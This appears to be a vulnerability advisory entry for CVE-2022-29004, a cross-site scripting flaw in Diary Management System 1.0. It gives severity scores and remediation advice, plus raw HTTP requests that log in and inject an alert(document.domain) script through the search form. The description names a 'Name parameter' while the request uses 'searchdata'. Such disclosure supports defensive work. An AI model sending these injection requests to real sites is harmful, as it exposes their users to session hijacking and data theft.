| Title | Diary Management System 1.0 - Cross-Site Scripting |
|---|---|
| Author | TenBird |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | To remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts. |
| CVSS Score | 6.1 |
| EPSS Score | 0.36016 |
| CVE ID | CVE-2022-29004 |
| CWE ID | CWE-79 |
| Tags | cve2022 cve xss authenticated edms phpgurukul vuln |
Diary Management System 1.0 contains a cross-site scripting vulnerability via the Name parameter in search-result.php.
POST /edms/login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/117.0
Connection: close
Content-Length: 45
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip
logindetail=Bqx3iG&userpassword=M5z8P8&login=
POST /edms/search-result.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip
searchdata=<script>alert(document.domain);</script>
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-29004.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-29004.pcap
N/AN/A